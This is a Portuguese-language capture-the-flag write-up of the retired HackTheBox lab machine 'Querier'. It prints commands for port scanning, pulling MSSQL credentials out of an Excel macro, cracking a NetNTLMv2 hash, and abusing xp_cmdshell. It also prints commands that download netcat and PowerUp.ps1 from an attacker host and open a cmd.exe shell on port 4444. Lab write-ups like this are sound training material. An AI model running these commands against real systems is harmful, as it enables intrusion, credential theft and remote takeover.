A passagem da máquina de laboratório para o Pentest "Hackthebox - Querier"

Olá Habr! Neste artigo, você aprenderá sobre um método de atacar um servidor remoto usando os recursos do MsSQL, criando um shell reverso para correção no sistema e um exemplo de operação de uma diretiva de grupo mal configurada no Windows.

Abaixo, vamos falar sobre a nossa experiência de passar a máquina do laboratório Querier no portal hackthebox .

Para aqueles que não sabem o que é o hackthebox, este é um portal onde você pode testar suas habilidades na prática, existem tarefas de CTF e as próprias máquinas de laboratório.

Isenção de responsabilidade
As regras do serviço diziam: " Não compartilhe como você invadiu cada máquina com outros membros. Isso inclui a geração do código de convite e todos os desafios ". Mas como essa máquina não está mais ativa e é armazenada na seção Máquinas Retiradas , somente membros VIP podem acessá-la.



Coleta de informações


Vamos começar nossa exploração iniciando a verificação de portas com o nmap.

nmap –sC –Pn –A 10.10.10.125 



Listamos as portas encontradas.

Enumerar 139/445 / tcp (smb)


Usaremos o utilitário smbclient para acessar os recursos do servidor SMB.

 smbclient –L //10.10.10.125 

Após analisar todos os recursos, encontramos no diretório Relatórios o arquivo "Currency Volume Report.xlsm".



Se você abrir este arquivo com o Microsoft Excel padrão, ele aparecerá à primeira vista completamente vazio.

Analisamos o arquivo usando o utilitário binwalk , que o ajudará a examinar os arquivos incorporados do documento xlsm.



Na saída do binwalk, encontramos alguns arquivos interessantes contidos no xlsm.
Usando o sinalizador –e, descompacte-o.

 binwalk –e Currency\ Volume\ Report.xlsm 



Agora usaremos o utilitário strings para gerar caracteres impressos. Examinando os arquivos, encontramos dados interessantes em vbaProject.bin. Parece que encontramos as credenciais para o servidor mssql.



Para resumir as informações recebidas atualmente:

  • Sabemos que o servidor mssql está girando na porta 10.10.10.125:1433;
  • Temos credenciais do servidor mssql do usuário.

Então, vamos tentar se conectar ao servidor usando o script do módulo impacket .

 python mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth 

Obtenha acesso ao MsSQL.



Enumerar MsSQL


Listamos as informações úteis para nós usando os comandos do artigo .
Após executar o SQLi, obtemos um hash da senha do usuário mssql-svc.



Para obter a senha explicitamente, é necessário removê-la usando qualquer ferramenta conveniente para você.

  1.  john --format=netntlmv2 hash.txt 
  2.  hashcat -m 5600 -a 3 hash.txt 

Nós obtemos a senha do mssql-svc .

Conectando-se ao SQL com novos empréstimos credenciais.

 python mssqlclient.py QUERIER/mssql-svc:'corporate568'@10.10.10.125 -windows-auth 

Os direitos deste usuário nos permitem executar xp_cmdshell

Sobre xp_cmdshell
O MsSQL é enviado com um grande conjunto de procedimentos armazenados avançados. O mais interessante deles é o xp_cmdshell. Ele fornece acesso à linha de comando do sistema operacional.

Obtenha o shell reverso


Estamos tentando obter o shell através do netcat, para isso precisamos carregá-lo no servidor atacado.

Vamos ao diretório em nossa máquina onde o netcat está localizado e executamos:

 python –m SimpleHTTPServer 

No shell mssql para baixar o netcat (nc.exe) para o servidor remoto, execute o comando powershell, especificando o caminho de salvamento.

 xp_cmdshell "powershell.exe Invoke-WebRequest "http://10.10.xx:8000/nc.exe" – OutFile "C:\Users\mssql-svc\Desktop\nc.exe" " 

Iniciamos o netcat para ouvir na porta 4444.

 xp_cmdshell "powershell C:/Users/mssql-svc/Desktop/nc.exe -l -p 4444 -e cmd.exe" 

Iniciamos o netcat do nosso lado, especificando o ip e a porta do servidor atacado e obtemos o shell.

 nc 10.10.10.125 4444 

Execute um script do PowerShellMafia para aumentar os privilégios.

 powershell.exe IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.xx:8000/PowerUp.ps1\"); Invoke-AllChecks 



Como resultado do script, obtivemos as credenciais de administrador.

Vamos aos recursos smb com novas credenciais e permissões.





Pegue o sinalizador root.txt. Vitória!

Source: https://habr.com/ru/post/pt465687/


All Articles